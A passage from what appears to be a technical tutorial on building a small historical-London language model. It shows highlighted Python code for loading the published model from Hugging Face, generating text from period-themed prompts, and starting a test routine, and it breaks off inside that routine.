&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Load published model from Hugging Face Hub&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Suppress warnings for cleaner output&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;os&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;warnings&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;logging&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    os&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;environ[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;TRANSFORMERS_VERBOSITY&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;error&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    warnings&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;filterwarnings(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;ignore&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    logging&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;getLogger(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;transformers&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;setLevel(logging&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ERROR)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    os&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;environ[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;TOKENIZERS_PARALLELISM&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;false&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load model and tokenizer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tokenizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoTokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(model_name)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoModelForCausalLM&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(model_name)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Set pad token if not set&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;pad_token &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;is&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;pad_token &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;eos_token
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;pad_token_id &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;eos_token_id
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; model, tokenizer
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;generate_historical_text&lt;/span&gt;(model, tokenizer, prompt, max_length&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;50&lt;/span&gt;, temperature&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0.3&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Generate historical text using the published model&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Tokenize input&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;encode(prompt, return_tensors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pt&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Generate text&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;no_grad():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        outputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;generate(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            inputs,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            max_new_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;max_length,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            do_sample&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            temperature&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;temperature,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            top_p&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0.9&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            top_k&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;20&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            repetition_penalty&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1.2&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            no_repeat_ngram_size&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            pad_token_id&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;pad_token_id,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            eos_token_id&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;eos_token_id,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            early_stopping&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Decode output&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    generated_text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;decode(outputs[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;], skip_special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; generated_text
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Example usage&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;__name__&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load the published model&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model, tokenizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; load_published_model()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test prompts&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    test_prompts &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year 1834, I walked through the streets of London and witnessed&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;The gentleman from the country said, &amp;#39;we have never seen such a sight&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;The Thames flowed dark and mysterious through the heart&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Parliament sat in Westminster Hall&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;The Great Fire of 1666 had destroyed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Generate text for each prompt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; prompt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; test_prompts:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        generated &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; generate_historical_text(model, tokenizer, prompt)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Prompt: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;prompt&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Generated: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;generated&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;80&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 11: Hugging Face Dependencies&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Hugging Face integration provides standard &lt;code&gt;from_pretrained()&lt;/code&gt; loading and generation with minimal setup, making the models easy to share and reuse.&lt;/p&gt;
&lt;h3 id=&#34;54-comprehensive-testing-and-validation-framework&#34;&gt;5.4 Comprehensive Testing and Validation Framework&lt;/h3&gt;
&lt;p&gt;Once a model is on the Hub, &lt;strong&gt;&lt;code&gt;06_inference/test_published_models.py&lt;/code&gt;&lt;/strong&gt; provides a concrete implementation of the testing pattern in &lt;a href=&#34;#listing12&#34; class=&#34;listing-ref&#34;&gt;Listing 12&lt;/a&gt;. It loads the model via &lt;code&gt;from_pretrained&lt;/code&gt;, runs functional, historical, linguistic, and performance checks, and prints a human-readable summary so you can verify the published artefact behaves like your local checkpoints.&lt;/p&gt;
&lt;figure id=&#34;listing12&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;test_published_model&lt;/span&gt;(model_name&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;bahree/london-historical-slm&amp;#34;&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Comprehensive testing of published model&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Testing published model: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;model_name&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load model&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model, tokenizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; load_published_model(model_name)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test basic functionality&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    basic_tests &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; test_basic_functionality(model, tokenizer)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test historical accuracy&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    historical_tests &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; test_historical_accuracy(model, tokenizer)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test linguistic quality&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    linguistic_tests &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; test_linguistic_quality(model, tokenizer)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test performance metrics&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    performance_tests &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; test_performance_metrics(model, tokenizer)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Compile results&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    results &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;basic_functionality&amp;#34;&lt;/span&gt;: basic_tests,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;historical_accuracy&amp;#34;&lt;/span&gt;: historical_tests,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;linguistic_quality&amp;#34;&lt;/span&gt;: linguistic_tests,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;performance_metrics&amp;#34;&lt;/span&gt;: performance_tests
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Print summary&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;Test Results Summary:&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;=&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;50&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; category, tests &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; results&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;items():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;category&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;replace(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;_&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39; &amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;title()&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;:&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; test_name, result &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; tests&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;items():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            status &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;PASS&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; result &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;FAIL&amp;#34;&lt;/span&gt;
